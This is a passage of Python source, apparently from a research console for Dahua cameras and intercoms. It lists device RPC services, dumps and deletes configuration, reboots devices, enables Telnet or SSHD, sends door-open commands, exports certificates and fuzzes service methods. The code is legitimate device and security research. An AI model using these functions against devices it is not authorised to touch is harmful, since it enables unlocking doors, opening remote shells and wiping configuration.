        self.dh_sniffer_nic = None

        self.attach_only = []
        self.Attach = []
        self.fuzz_factory = []

    #
    # Send command to remote console, if not attached just ignore sending
    #
    def run_cmd(self, msg):

        query_args = {
            "SID": self.instance_service('console', pull='sid'),
            "method": "console.runCmd",
            "params": {
                "command": msg,
            },
            "object": self.instance_service('console', pull='object'),
        }
        if self.console_attach or self.args.force:
            dh_data = self.p2p(query_args)
            if dh_data is not None:
                try:
                    dh_data = json.loads(dh_data)
                except (json.decoder.JSONDecodeError, AttributeError) as e:
                    log.failure('[runCmd]: {}'.format(repr(e)))
                    print(dh_data)
                    return False

                if not dh_data.get('result'):
                    return False
                return True

    #
    # List and caches service(s)
    #
    def list_service(self, msg, fuzz=False):

        cmd = msg.split()
        service = None

        usage = {
            "": "(dump all remote services)",
            "<service>": "(dump methods for <service>)",
            "all": "(dump all remote services methods)",
            "help": "[<service>|all] (\"system\" looks like only have builtin help)",
            "[<service>|<all>]": "[save <filename>] (Save JSON to <filename>)",
        }
        if not len(cmd) == 1:
            if cmd[1] == '-h':
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return True

        if len(cmd) == 3 and cmd[1] == 'help':
            self.help_service(cmd[2])
            return

        if not self.RemoteServicesCache:
            self.check_for_service('dump')
            if not self.RemoteServicesCache:
                log.failure('[listService] EZIP perhaps?')
                return False

        if self.RemoteServicesCache.get('result'):
            if not self.args.dump:
                service = log.progress('Services')
                service.status("Start")
            tmp = {}
            cache = {}

            for count in range(0, len(self.RemoteServicesCache.get('params').get('service'))):
                if len(cmd) == 1:
                    print(self.RemoteServicesCache.get('params').get('service')[count])
                elif len(cmd) == 2 or len(cmd) == 4:

                    query_tmp = {
                        "method": "",
                        "params": None,
                    }
                    query_tmp.update(
                        {'method': cmd[1] + '.listMethod' if not cmd[1] == 'all' else
                            self.RemoteServicesCache.get('params').get('service')[count] + '.listMethod'}
                    )

                    if not self.RemoteMethodsCache.get(
                            cmd[1] if not cmd[1] == 'all'
                            else self.RemoteServicesCache.get('params').get('service')[count]):
                        """ 'system.listMethod' not working with multicall """
                        if query_tmp.get('method') == 'system.listMethod':
                            dh_data = self.send_call(query_tmp)
                            tmp.update({query_tmp.get('method').split('.')[0]: dh_data})

                            dh_data.pop('result')
                            dh_data.pop('id')
                            """SessionID bug: 'method': 'snapManager.listMethod'"""
                            dh_data.pop('session') if dh_data.get('session') else log.failure(
                                "[listService] SessionID BUG ({})".format(query_tmp.get('method').split('.')[0]))
                            self.RemoteMethodsCache.update({query_tmp.get('method').split('.')[0]: dh_data})

                            if not cmd[1] == 'all':
                                break
                            continue
                        else:
                            self.send_call(query_tmp, multicall=True)
                    else:
                        tmp.update({
                            cmd[1] if not cmd[1] == 'all'
                            else self.RemoteServicesCache.get('params').get('service')[count]:
                                self.RemoteMethodsCache.get(
                                    cmd[1] if not cmd[1] == 'all'
                                    else self.RemoteServicesCache.get('params').get('service')[count])
                        })

                    if not self.args.dump:
                        service.status('{} of {}'.format(
                            count+1, len(self.RemoteServicesCache.get('params').get('service'))))

                    if not cmd[1] == 'all':
                        break

            dh_data = self.send_call(None, multicall=True, multicallsend=True)
            # print('[list_service]', dh_data)

            if dh_data is None:
                cache = tmp
            elif dh_data is not None:
                for method_name in copy.deepcopy(dh_data):
                    service.status(method_name)

                    if not dh_data.get(method_name).get('result'):
                        log.failure("[listService] Failure to fetch: {}".format(method_name.split('.')[0]))
                        continue
                    dh_data.get(method_name).pop('result')
                    dh_data.get(method_name).pop('id')
                    """SessionID bug: 'method': 'snapManager.listMethod'"""
                    if dh_data.get(method_name).get('session'):
                        dh_data.get(method_name).pop('session')
                    """if dh_data.get(method_name).get('session') else log.failure(
                        "[listService] SessionID BUG ({})".format(method_name.split('.')[0]))"""

                    cache.update({method_name.split('.')[0]: dh_data.get(method_name)})
                    self.RemoteMethodsCache.update(cache)
                if len(tmp):
                    cache.update(tmp)

            if not self.args.dump:
                service.success('Done')
            if fuzz:
                return self.RemoteMethodsCache
            if len(cmd) == 4 and cmd[2] == 'save':
                if len(cache):
                    return self.save_to_file(file_name=cmd[3], dh_data=cache)
                log.failure('[listService] (save) Empty')
            if not len(cmd) == 1:
                if len(cache):
                    print(json.dumps(cache, indent=4))
                else:
                    log.failure('[listService] (cache) Empty')

            return True
        else:
            log.failure("[listService] {}".format(self.RemoteServicesCache))
            return False

    #
    # Used by 'list_service()' and 'config_members()' to save result to file
    #
    def save_to_file(self, file_name, dh_data):

        if not self.args.force:
            path = Path(file_name)
            if path.exists():
                log.failure("[saveToFile] File {} exist (force with -f at startup)".format(file_name))
                return False
        try:
            with open(file_name, 'w') as fd:
                fd.write(json.dumps(dh_data))
            log.success("[saveToFile] Saved to: {}".format(file_name))
        except IOError as e:
            log.failure("[saveToFile] Save {} fail: {}".format(file_name, e))
            return False
        return True

    def help_service(self, msg):
        """ In principal useless function, as the only API help seems to cover 'system' only """
        cmd = msg.split()

        dh_services = self.list_service(msg='service ' + cmd[0], fuzz=True)

        for key in dh_services.keys():
            for method in dh_services.get(key).get('params').get('method'):

                query_args = {
                    "method": "system.methodHelp",
                    "params": {
                        "method_name": method,
                    },
                }
                dh_data = self.send_call(query_args)
                query_args = {
                    "method": "system.methodSignature",
                    "params": {
                        "method_name": method,
                    },
                }
                dh_data2 = self.send_call(query_args)

                if not dh_data and not dh_data2:
                    continue

                log.info("Method: {:30}Params: {:20}Description: {}".format(
                    method,
                    dh_data2.get('params').get('signature', '(null)'),
                    dh_data.get('params').get('description', '(null)')
                ))

    def reboot(self, delay=1):
        """ 'Hard reboot' of remote device """
        query_args = {
            "method": "magicBox.reboot",
            "params": {
                "delay": delay
            },
        }

        dh_data = self.send_call(query_args)
        if dh_data.get('result'):
            log.success("Trying to force reboot")
        else:
            log.warning("Trying to force reboot")
        self.socket_event.set()
        self.logout()

    def logout(self):
        """ Try graceful logout """

        if not self.remote.connected():
            log.failure('[logout] Not connected, cannot exit clean')
            return False
        """ Will exit the instance by check daemon thread """
        if self.terminate and self.remote.connected():
            self.remote.close()
            if self.relay:
                self.relay.close()
            return False

        """keepAlive failed or terminate
        Clean up before we quit, if needed (and can do so)
        """
        if not self.event.is_set():
            self.cleanup()

        """ Stop console (and possible others) """
        self.instance_service(clean=True)

        query_args = {
            "method": "global.logout",
            "params": None,
        }

        dh_data = self.send_call(query_args)
        if not dh_data:
            log.failure("[logout] global.logout: {}".format(dh_data))
            self.remote.close()
            if self.relay:
                self.relay.close()
            return False
        if dh_data.get('result'):
            log.success("Logout")
            self.remote.close()
            if self.relay:
                self.relay.close()
        return True

    def config_members(self, msg):

        cmd = msg.split()

        usage = {
            "members": "(show config members)",
            "all": "(dump all remote config)",
            "<member>": "(dump config for <member>)",
            "[<member>|<all>]": "[save <filename>] (Save JSON to <filename>)",
            "": "(Use 'ceconfig' in Console to set/get)",
        }
        if len(cmd) == 1 or cmd[1] == '-h':
            log.info('{}'.format(help_all(msg=msg, usage=usage)))
            return False

        if cmd[1] == 'members':
            query_args = {
                "method": "configManager.getMemberNames",
                "params": {
                    "name": "",
                },
            }
        else:
            if cmd[1] == 'all':
                cmd[1] = 'All'
            query_args = {
                "method": "configManager.getConfig",
                "params": {
                    "name": cmd[1],
                },
            }
        dh_data = self.send_call(query_args, errorcodes=True)
        if not dh_data or not dh_data.get('result'):
            log.failure('[config_members] Error: {}'.format(dh_data.get('error') if dh_data else False))
            return False

        dh_data.pop('id')
        dh_data.pop('session')
        dh_data.pop('result')

        if len(cmd) == 4 and cmd[2] == 'save':
            return self.save_to_file(file_name=cmd[3], dh_data=dh_data)

        print(json.dumps(dh_data, indent=4))

        return

    def open_door(self, msg):
        """ VTO specific functions (not complete) """

        cmd = msg.split()

        usage = {
            "<n>": {
                "open": "(open door <n>)",
                "close": "(close door <n>)",
                "status": "(status door <n>)",
                "finger": "(<Undefined>)",
                "password": "(<Undefined>)",
                "lift": "(<Undefined> Not working)",
                "face": "(<Undefined> Not working)",
            }
        }
        if len(cmd) != 3 or cmd[1] == '-h':
            log.info('{}'.format(help_all(msg=msg, usage=usage)))
            return True

        method_name = 'accessControl'

        try:
            door = int(cmd[1])
        except ValueError:
            log.failure("[open_door] Invalid door number {}".format(cmd[1]))
            self.instance_service(method_name, stop=True)
            return False

        self.instance_service(method_name, params={"channel": door}, start=True)
        object_id = self.instance_service(method_name, pull='object')
        if not object_id:
            return False

        if cmd[2] == 'open':
            query_args = {
                "method": "accessControl.openDoor",
                "params": {
                    "DoorIndex": door,
                    "ShortNumber": "9901#0",
                    "Type": "Remote",
                    "OpenDoorType": "Remote",
                    # "OpenDoorType": "Dahua",
                    # "OpenDoorType": "Local",
                    "UserID": "",
                },
                "object": object_id,
            }

            dh_data = self.send_call(query_args)
            print(query_args)
            print(dh_data)
            if not dh_data:
                return

            log.info("door: {} {}".format(door, "Success" if dh_data.get('result') else "Failure"))

        elif cmd[2] == 'close':
            query_args = {
                "method": "accessControl.closeDoor",  # {"id":21,"result":true,"session":2147483452}
                "params": {
                    # "Type": "Remote",
                    # "UserID":"",
                },
                "object": object_id,
            }

            # print(query_args)
            dh_data = self.send_call(query_args)
            print(query_args)
            print(dh_data)

        elif cmd[2] == 'status':  # Seems always to return "Status Close"
            """{"id":8,"params":{"Info":{"status":"Close"}},"result":true,"session":2147483499}"""
            query_args = {
                "method": "accessControl.getDoorStatus",
                "params": {
                    "DoorState": door,
                    # "ShortNumber": "9901#0",
                    # "Type": "Remote",
                },
                "object": object_id,
            }
            dh_data = self.send_call(query_args)
            print(query_args)
            print(dh_data)

        elif cmd[2] == 'finger':
            query_args = {
                "method": "accessControl.captureFingerprint",  # working
                "params": {
                },
                "object": object_id,
            }
            dh_data = self.send_call(query_args)
            print(query_args)
            print(dh_data)

        elif cmd[2] == 'lift':
            query_args = {
                "method": "accessControl.callLift",  # Not working
                "params": {
                    "Src": 1,
                    "DestFloor": 3,
                    "CallLiftCmd": "",
                    "CallLiftAction": "",
                },
                "object": object_id,
            }
            dh_data = self.send_call(query_args)
            print(query_args)
            print(dh_data)

        elif cmd[2] == 'password':
            query_args = {
                "method": "accessControl.modifyPassword",  # working
                "params": {
                    "type": "",
                    "user": "",
                    "oldPassword": "",
                    "newPassword": "",
                },
                "object": object_id,
            }
            dh_data = self.send_call(query_args)
            print(query_args)
            print(dh_data)

        elif cmd[2] == 'face':
            query_args = {
                "method": "accessControl.openDoorFace",  # Not working
                "params": {
                    "Status": "",
                    "MatchInfo": "",
                    "ImageInfo": "",
                },
                "object": object_id,
            }
            dh_data = self.send_call(query_args)
            print(query_args)
            print(dh_data)

            self.instance_service(method_name, stop=True)

        return

    def telnetd_sshd(self, msg):

        cmd = msg.split()
        service = None

        if cmd[0] == 'telnet':
            service = 'Telnet'
        elif cmd[0] == 'sshd':
            service = 'SSHD'

        usage = {
            "1": "(enable)",
            "0": "(disable)",
        }
        if len(cmd) == 1 or cmd[1] == '-h':
            log.info('{}'.format(help_all(msg=msg, usage=usage)))

            return True

        if cmd[1] == '1':
            enable = True
        elif cmd[1] == '0':
            enable = False
        else:
            log.info('{}'.format(help_all(msg=msg, usage=usage)))
            return False

        query_args = {
            "method": "configManager.getConfig",
            "params": {
                "name": service,
            },
        }

        dh_data = self.send_call(query_args)
        if not dh_data:
            return

        if dh_data.get('result'):
            if dh_data['params']['table']['Enable'] == enable:
                log.failure("{} already: {}".format(cmd[0], "Enabled" if enable else "Disabled"))
                return
        else:
            log.failure("Failure: {}".format(dh_data))
            return

        dh_data['method'] = "configManager.setConfig"
        dh_data['params']['table']['Enable'] = enable
        dh_data['params']['name'] = service
        dh_data['id'] = self.ID
        dh_data.pop('result')

        dh_data = self.send_call(dh_data, errorcodes=True)

        if dh_data.get('result'):
            log.success("{}: {}".format(cmd[0], "Enabled" if enable else "Disabled"))
        else:
            log.failure("Failure: {}".format(dh_data))
            return

    @staticmethod
    def method_banned(msg):

        banned = [
            "system.listService",
            "magicBox.exit",
            "magicBox.restart",
            "magicBox.shutdown",
            "magicBox.reboot",
            "magicBox.resetSystem",
            "magicBox.config"
            "global.login",
            "global.logout",
            "global.keepAlive",
            "global.setCurrentTime",
            "DockUser.addUser",
            "DockUser.modifyPassword",
            "configManager.detach",
            "configManager.exportPackConfig",  # Exporting config in encrypted TGZ
            "configManager.secGetDefault",
            "userManager.deleteGroup",
            "userManager.setDefault",  # will erase all users
            "PhotoStation.savePhotoDesign",
            "configManager.getMemberNames",
            "PerformanceMonitoring.factory.instance",  # generates client.notifyPerformanceInfo() callback
            "PerformanceMonitoring.attach"  # generates client.notifyPerformanceInfo() callback
        ]

        try:
            banned.index(msg)
            dh_data = help_msg('Banned Match')
            dh_data += '{}\n'.format(msg)
            log.info(dh_data)
            # print('Banned Match: {}'.format(msg))
            return True
        except ValueError as e:
            print(repr(e))
            return False

    def fuzz_service(self, msg):
        """ Under development """

        cmd = msg.split()
        params = None

        usage = {
            "check": {
                "<service>": "(method for <service>)",
                "all": "(all remote services methods)",
            },
            "factory": "(fuzz factory)"
        }
        if not len(cmd) >= 2 or cmd[1] == '-h':
            log.info('{}'.format(help_all(msg=msg, usage=usage)))

            return True

        fuzz_result = {}
        """
        Code = [
            268894211,  # Request invalid param!
            268959743,  # Unknown error! error code was not set in service!
            268632080,  # pthread error
            285278247,  # ? - with magicBox.resetSystem
            268894208,  # Request parse error!
            268894212,  # Server internal error!
            268894209,  # get component pointer failed or invalid request! (.object needed!)
            ]
        """
        #
        # TODO: Can be more than one in one call
        #
        dparams = [
            "",
            "channel",		# 0 should always be availible
            "pointer",
            "name",
            "codes",
            "service",
            "group",
            "stream",
            "uuid",
            "UUID",
            "object",
            "interval",  # PerformanceMonitoring.attach
            "composite",
            "path",
            "DeviceID",
            "points",
            "Channel",
        ]

        attach_options = [
            # {"type":"FormatPatition"},
            "Network",  # configMember
            ["All"],  # eventManager
            0,  # for channel.. etc
            1,
            # "DeviceID1",
            "none",
            # "xxxxxx",
            "System_CONFIG_NETCAMERA_INFO_0",  # uuid
            "System_CONFIG_NETCAMERA_INFO_",  # uuid
            ["System_CONFIG_NETCAMERA_INFO_0"],  # uuid
            ["System_CONFIG_NETCAMERA_INFO_"],  # uuid
            "/mnt/sd",
            "/dev/mmc0",
            "/",

            # ["Record FTP"],
            # ["Image FTP"],
            # ["FTP1"],
            # ["ISCSI1"],
            # ["NFS1"],
            # ["SMB1"],
            # ["SFTP1"],
            # ["SFTP"],
            # ["StorageGroup"],
            # ["NAS"],
            # ["Remote"],
            # ["ReadWrite"],
        ]

        try:  # [Main TRY]

            if len(cmd) == 3 and cmd[1] == 'check':

                check = log.progress('Check')
                check.status('Start')

                dh_services = self.list_service(msg='service ' + cmd[2], fuzz=True)

                for key in dh_services.keys():
                    check.status(key)

                    method_name = dh_services.get(key).get('params').get('method')
                    self.fuzzServiceDB.update({key: {
                    }})

                    try:
                        method_name.index(key + '.factory.instance')
                        self.fuzzServiceDB.get(key).update({"factory": True})

                        method_name.index(key + '.attach')
                        self.fuzzServiceDB.get(key).update({"attach": True})

                    except ValueError as e:

                        _error = str(e).split("'")[1]
                        try:
                            if _error == key + '.factory.instance':
                                self.fuzzServiceDB.get(key).update({"factory": False})
                            elif _error == key + '.attach':
                                self.fuzzServiceDB.get(key).update({"attach": False})

                            method_name.index(key + '.attach')
                            self.fuzzServiceDB.get(key).update({"attach": True})

                        except ValueError:
                            self.fuzzServiceDB.get(key).update({"attach": False})
                            pass

                self.fuzz_factory = []
                self.Attach = []
                self.attach_only = []

                for key in dh_services.keys():
                    if not self.fuzzServiceDB.get(key).get('factory') and not self.fuzzServiceDB.get(key).get('attach'):
                        if self.fuzzServiceDB.get(key):
                            self.fuzzServiceDB.pop(key)
                        continue
                    elif self.method_banned(key + '.factory.instance'):
                        if self.fuzzServiceDB.get(key):
                            self.fuzzServiceDB.pop(key)
                        continue
                    elif self.method_banned(key + '.attach'):
                        if self.fuzzServiceDB.get(key):
                            self.fuzzServiceDB.pop(key)
                        continue

                    if self.fuzzServiceDB.get(key).get('factory'):
                        self.fuzz_factory.append(key)
                    if self.fuzzServiceDB.get(key).get('factory') and self.fuzzServiceDB.get(key).get('attach'):
                        self.Attach.append(key)
                    if not self.fuzzServiceDB.get(key).get('factory') and self.fuzzServiceDB.get(key).get('attach'):
                        self.attach_only.append(key)

                check.success(
                    'Factory: {}, Attach: {}, attach_only: {}\n'.format(
                        len(self.fuzz_factory), len(self.Attach), len(self.attach_only)))

                dh_data = '{}'.format(help_msg('Summary'))
                dh_data += '{}{}\n'.format(help_msg('Factory'), ', '.join(self.fuzz_factory))
                dh_data += '{}{}\n'.format(help_msg('Attach'), ', '.join(self.Attach))
                dh_data += '{}{}\n'.format(help_msg('attach_only'), ', '.join(self.attach_only))
                log.success(dh_data)
                return

            elif len(cmd) >= 2 and cmd[1] == 'factory':

                try:
                    if not len(self.fuzz_factory):
                        log.failure('Factory is Empty')
                        return False
                except AttributeError:
                    log.failure('Firstly run {} check'.format(cmd[0]))
                    return False

                fuzz_factory = []
                if len(cmd) == 2:
                    fuzz_factory = self.fuzz_factory
                elif len(cmd) == 3:
                    if cmd[2] in self.fuzz_factory:
                        fuzz_factory.append(cmd[2])
                    else:
                        log.failure('"{}" do not exist in factory'.format(cmd[2]))
                        return False

                for method_name in fuzz_factory:
                    fuzz = log.progress(method_name)

                    if method_name in self.Attach:

                        object_id = self.instance_service(method_name, pull='object')
                        if not object_id:
                            fuzz.status(color('Working...', YELLOW))
                            self.instance_service(method_name, dattach=True, start=True, fuzz=True)
                            object_id = self.instance_service(method_name, pull='object')

                        if object_id:
                            fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN))
                            fuzz_result.update(
                                {method_name: {
                                    "available": True, "params": self.instance_service(method_name, pull='params'),
                                    "attach_params": self.instance_service(method_name, pull='attach_params')
                                }})

                        if not object_id:
                            for key in dparams:
                                for doptions in attach_options:
                                    params = {key: doptions}
                                    self.instance_service(
                                        method_name, dattach=True, params=params, attach_params=params,
                                        start=True, fuzz=True, multicall=True, multicallsend=False)

                            self.instance_service(
                                method_name, dattach=True, attach_params=params, start=True, fuzz=True,
                                multicall=True, multicallsend=True)
                            object_id = self.instance_service(method_name, pull='object')

                            if object_id:
                                fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN))
                                fuzz_result.update(
                                    {method_name: {
                                        "available": True, "params": self.instance_service(method_name, pull='params'),
                                        "attach_params": self.instance_service(method_name, pull='attach_params')
                                    }})
                                continue

                            if not object_id:
                                fuzz_error = self.fuzzDB.get(method_name).get('sid').get('error')
                                fuzz.failure(color(json.dumps(fuzz_error), RED))
                                fuzz_result.update(
                                    {method_name: {
                                        "available": False, "code": fuzz_error.get('code'),
                                        "message": fuzz_error.get('message')}}
                                )

                    else:
                        object_id = self.instance_service(method_name, pull='object')
                        if not object_id:
                            fuzz.status(color('Working...', YELLOW))
                            self.instance_service(method_name, dattach=False, start=True, fuzz=True)
                            object_id = self.instance_service(method_name, pull='object')

                        if object_id:
                            fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN))
                            fuzz_result.update(
                                {method_name: {
                                    "available": True, "params": self.instance_service(method_name, pull='params'),
                                    "attach_params": self.instance_service(method_name, pull='attach_params')
                                }})

                        if not object_id:
                            for key in dparams:
                                for doptions in attach_options:
                                    params = {key: doptions}
                                    self.instance_service(
                                        method_name, dattach=False, params=params, start=True, fuzz=True,
                                        multicall=True, multicallsend=False)

                            self.instance_service(
                                method_name, dattach=False, start=True, fuzz=True, multicall=True, multicallsend=True)

                            object_id = self.instance_service(method_name, pull='object')
                            if object_id:
                                fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN))
                                fuzz_result.update(
                                    {method_name: {
                                        "available": True, "params": self.instance_service(method_name, pull='params'),
                                        "attach_params": self.instance_service(method_name, pull='attach_params')
                                    }})
                                continue

                            if not object_id:
                                fuzz_error = self.fuzzDB.get(method_name).get('sid').get('error')
                                fuzz.failure(color(json.dumps(fuzz_error), RED))
                                fuzz_result.update(
                                    {method_name: {
                                        "available": False, "code": fuzz_error.get('code'),
                                        "message": fuzz_error.get('message')}}
                                )

                self.instance_service(method_name="", list_all=True)
                # print(json.dumps(fuzz_result,indent=4))
                # print(json.dumps(self.fuzzDB,indent=4))
                # self.fuzzServiceDB = {} # Reset
                return

            else:
                log.failure('No such command "{}"'.format(msg))

        except KeyboardInterrupt:  # [Main TRY]
            return False

        return

    def dev_storage(self):

        query_args = {
            "method": "storage.getDeviceAllInfo",
            "params": None,
        }

        dh_data = self.send_call(query_args)
        if not dh_data:
            log.failure("\033[92m[\033[91mStorage: Device not found\033[92m]\033[0m")
            return

        if dh_data.get('result'):
            device_name = dh_data.get('params').get('info')[0].get('Name')

            method_name = 'devStorage'

            self.instance_service(method_name, params={"name": device_name}, start=True)
            object_id = self.instance_service(method_name, pull='object')
            if not object_id:
                return False

            query_args = {
                "method": "devStorage.getDeviceInfo",
                "params": None,
                "object": object_id,
            }

            dh_data = self.send_call(query_args)

            if not dh_data:
                if dh_data.get('result'):
                    dh_data = dh_data.get('params').get('device')  # [storage]
                    log.success("\033[92m[\033[91mStorage: \033[94m{}\033[91m\033[92m]\033[0m\n".format(
                        dh_data.get('Name', '(null)')))
                    log.info("Capacity: {}, Media: {}, Bus: {}, State: {}".format(
                        size(dh_data.get('Capacity', '(null)')),
                        dh_data.get('Media', '(null)'),
                        dh_data.get('BUS', '(null)'),
                        dh_data.get('State', '(null)'),
                    ))
                    log.info("Model: {}, SerialNo: {}, Firmware: {}".format(
                        dh_data.get(
                            'Module', '(null)') if self.DeviceClass == "NVR" else dh_data.get('Model', '(null)'),
                        dh_data.get(
                            'SerialNo', '(null)')if self.DeviceClass == "NVR" else dh_data.get('Sn', '(null)'),
                        dh_data.get('Firmware', '(null)'),
                    ))
                    for part in range(0, len(dh_data.get('Partitions'))):
                        tmp = dh_data.get('Partitions')[part]
                        log.info("{}, FileSystem: {}, Size: {}, Free: {}".format(
                            tmp.get('Name', '(null)'),
                            tmp.get('FileSystem', '(null)'),
                            size(tmp.get('Total', 0), si=True),
                            size(tmp.get('Remain', 0), si=True),
                        ))

            self.instance_service(method_name, stop=True)

    def get_encrypt_info(self):

        query_args = {
            "method": "Security.getEncryptInfo",
            "params": None,
        }

        dh_data = self.send_call(query_args)

        if not dh_data:
            log.failure("\033[92m[\033[91mEncrypt Info: Fail\033[92m]\033[0m")
            return

        if dh_data.get('result'):
            pub = dh_data.get('params').get('pub').split(",")
            log.success(
                "\033[92m[\033[91mEncrypt Info\033[92m]\033[0m\nAsymmetric:"
                " {}, Cipher: {}, Padding: {}, RSA Exp.: {}\nRSA Modulus:\n{}".format(
                    dh_data.get('params').get('asymmetric'),
                    '; '.join(dh_data.get('params').get('cipher', ["(null)"])),
                    '; '.join(dh_data.get('params').get('AESPadding', ["(null)"])),
                    pub[1].split(":")[1],
                    pub[0].split(":")[1],
                ))
            pubkey = RSA.construct((int(pub[0].split(":")[1], 16), int(pub[1].split(":")[1], 16)))
            print(pubkey.exportKey().decode('ascii'))

    def get_remote_info(self, msg):

        cmd = msg.split()

        if cmd[0] == 'device':

            query_args = {
                "method": "magicBox.getSoftwareVersion",
                "params": None,
            }
            self.send_call(query_args, multicall=True)

            query_args = {
                "method": "magicBox.getProductDefinition",
                "params": None,
            }

            self.send_call(query_args, multicall=True)

            query_args = {
                "method": "magicBox.getSystemInfo",
                "params": None,
            }

            self.send_call(query_args, multicall=True)

            query_args = {
                "method": "magicBox.getMemoryInfo",
                "params": None,
            }

            dh_data = self.send_call(query_args, multicall=True, multicallsend=True)
            if not dh_data:
                return

            if dh_data.get(
                    'magicBox.getSoftwareVersion').get('result') and dh_data.get(
                    'magicBox.getProductDefinition').get('result'):
                tmp = dh_data.get('magicBox.getProductDefinition').get('params').get('definition')

                log.success(
                    "\033[92m[\033[91mSystem\033[92m]\033[0m\nVendor: {}, Build: {}, Version: {}\n"
                    "Device: {}, Web: {}, OEM: {}\nPackage: {}".format(
                        tmp.get('Vendor', '(null)'),
                        tmp.get('BuildDateTime', '(null)'),
                        dh_data.get(
                            'magicBox.getSoftwareVersion').get('params').get('version').get('Version', '(null)'),
                        tmp.get('Device', '(null)'),
                        tmp.get('WebVersion', '(null)'),
                        tmp.get('OEMVersion', '(null)'),
                        tmp.get('PackageBaseName', '(null)')
                        if tmp.get('PackageBaseName')
                        else tmp.get('ProductName', '(null)'),
                    ))

            if dh_data.get('magicBox.getSystemInfo').get('result'):
                tmp = dh_data.get('magicBox.getSystemInfo').get('params')
                log.success("\033[92m[\033[91mDevice\033[92m]\033[0m\nType: {}, CPU: {}, HW ver: {}, S/N: {}".format(
                    tmp.get('deviceType', '(null)'),
                    tmp.get('processor', '(null)'),
                    tmp.get('hardwareVersion', '(null)'),
                    tmp.get('serialNumber', '(null)'),
                ))

            if dh_data.get('magicBox.getMemoryInfo').get('result'):
                tmp = dh_data.get('magicBox.getMemoryInfo').get('params')
                log.success("\033[92m[\033[91mMemory\033[92m]\033[0m\nTotal: {}, Free: {}".format(
                    size(tmp.get('total', 0)),
                    size(tmp.get('free', 0))
                ))
            self.dev_storage()
            self.get_encrypt_info()

        elif cmd[0] == 'certificate':
            query_args = {
                "method": "CertManager.exportRootCert",
                "params": None,
            }

            self.send_call(query_args, multicall=True)

            query_args = {
                "method": "CertManager.getSvrCertInfo",
                "params": None,
            }

            dh_data = self.send_call(query_args, multicall=True, multicallsend=True)
            if not dh_data:
                return

            if dh_data.get('CertManager.exportRootCert').get('result'):
                ca_cert = base64.decodebytes(
                    dh_data.get('CertManager.exportRootCert').get('params').get('cert').encode('latin-1')
                )
                x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ca_cert)
                # issuer = x509.get_issuer()
                # subject = x509.get_subject()

                log.success(
                    "\033[92m[\033[91mRoot Certificate\033[92m]\033[0m\n"
                    "\033[92m[\033[91mIssuer\033[92m]\033[0m\n"
                    "{}\n"
                    "\033[92m[\033[91mSubject\033[92m]\033[0m\n"
                    "{}\n"
                    "{}".format(
                        str(x509.get_issuer()).split("'")[1],
                        str(x509.get_subject()).split("'")[1],
                        ca_cert.decode('latin-1'),
                    ))

                log.success(
                    "\033[92m[\033[91mPublic Key\033[92m]\033[0m\n"
                    "{}".format(crypto.dump_publickey(crypto.FILETYPE_PEM, x509.get_pubkey()).decode('latin-1')))
                print('{:X}'.format(x509.get_pubkey().to_cryptography_key().public_numbers().n))
            else:
                log.failure(
                    "\033[92m[\033[91mRoot Certificate\033[92m]\033[0m\n{}".format(
                        color(dh_data.get('CertManager.exportRootCert').get('error'), LRED)))
                return False

            if dh_data.get('CertManager.getSvrCertInfo').get('result'):
                log.success("\033[92m[\033[91mServer Certificate\033[92m]\033[0m\n{}".format(
                    json.dumps(dh_data.get('CertManager.getSvrCertInfo'), indent=4),
                ))

        elif cmd[0] == 'dhp2p':

            query_args = {
                "method": "Nat.getTurnStatus",
                "params": None,
            }
            self.send_call(query_args, multicall=True)

            query_args = {
                "method": "magicBox.getSystemInfo",
                "params": None,
            }

            self.send_call(query_args, multicall=True)

            query_args = {
                "method": "configManager.getConfig",
                "params": {
                    "name": "_DHCloudUpgrade_",
                },
            }
            self.send_call(query_args, multicall=True)

            query_args = {
                "method": "configManager.getConfig",
                "params": {
                    "name": "_DHCloudUpgradeRecord_",
                },
            }
            dh_data = self.send_call(query_args, multicall=True, multicallsend=True)
            if not dh_data:
                return

            if dh_data.get('Nat.getTurnStatus').get('result'):
                tmp = dh_data.get('Nat.getTurnStatus').get('params').get('Status')
                log.success("\033[92m[\033[91mDH DMSS P2P\033[92m]\033[0m\nEnable: {}, Status: {}, Detail: {}".format(
                    tmp.get('IsTurnChannel', '(null)'),
                    tmp.get('Status', '(null)'),
                    tmp.get('Detail', '(null)'),
                ))

            if dh_data.get('_DHCloudUpgradeRecord_').get('result') or dh_data.get('_DHCloudUpgrade_').get('result'):

                tmp = dh_data.get('_DHCloudUpgradeRecord_').get('params').get('table')
                tmp2 = dh_data.get('_DHCloudUpgrade_').get('params').get('table')
                log.success(
                    "\033[92m[\033[91mDH Cloud Firmware Upgrade\033[92m]\033[0m\n"
                    "Address: {}, Port: {}, ProxyAddr: {}, ProxyPort: {}\n"
                    "AutoCheck: {}, CheckInterval: {}, Upgrade: {}, downloadState: {}\n"
                    "LastVersion: {},\nLastSubVersion: {}\npackageId: {}".format(
                        tmp2.get('Address'),
                        tmp2.get('Port'),
                        tmp.get('ProxyAddr'),
                        tmp.get('ProxyPort'),
                        bool(tmp.get('AutoCheck')),
                        tmp.get('CheckInterval'),
                        bool(tmp.get('Upgrade')),
                        bool(tmp.get('downloadState')),
                        tmp.get('LastVersion'),
                        tmp.get('LastSubVersion'),
                        tmp.get('packageId'),
                    ))

            if dh_data.get('magicBox.getSystemInfo').get('result'):
                tmp = dh_data.get('magicBox.getSystemInfo').get('params')
                log.success(
                    "\033[92m[\033[91mDH Cloud Firmware ID\033[92m]\033[0m\n"
                    "Upgrade S/N: {}\n"
                    "Update S/N: {}".format(
                        tmp.get('updateSerialCloudUpgrade', '(null)'),
                        tmp.get('updateSerial', '(null)')
                    )
                )

    def delete_config(self, msg):
        cmd = msg.split()
        if len(cmd) != 2:
            log.info('{}'.format(help_all(msg=msg, usage='delete-config member')))

        key = cmd[1]
        method_name = 'configManager'
        self.instance_service(method_name, start=True)
        object_id = self.instance_service(method_name, pull='object')
        query_args = {
            "method": "configManager.deleteConfig",
            "params": {
                "name": key,
            },
            "object": object_id,
        }
        log.info(f"Deleting member {key}")
        dh_data = self.send_call(query_args)
        if not dh_data:
            return
        print(json.dumps(dh_data, indent=4))

    def new_config(self, msg):
        """
        PoC for new non-existing configuration
        (instance_service() not really needed here, more as FYI for future)
        """

        cmd = msg.split()

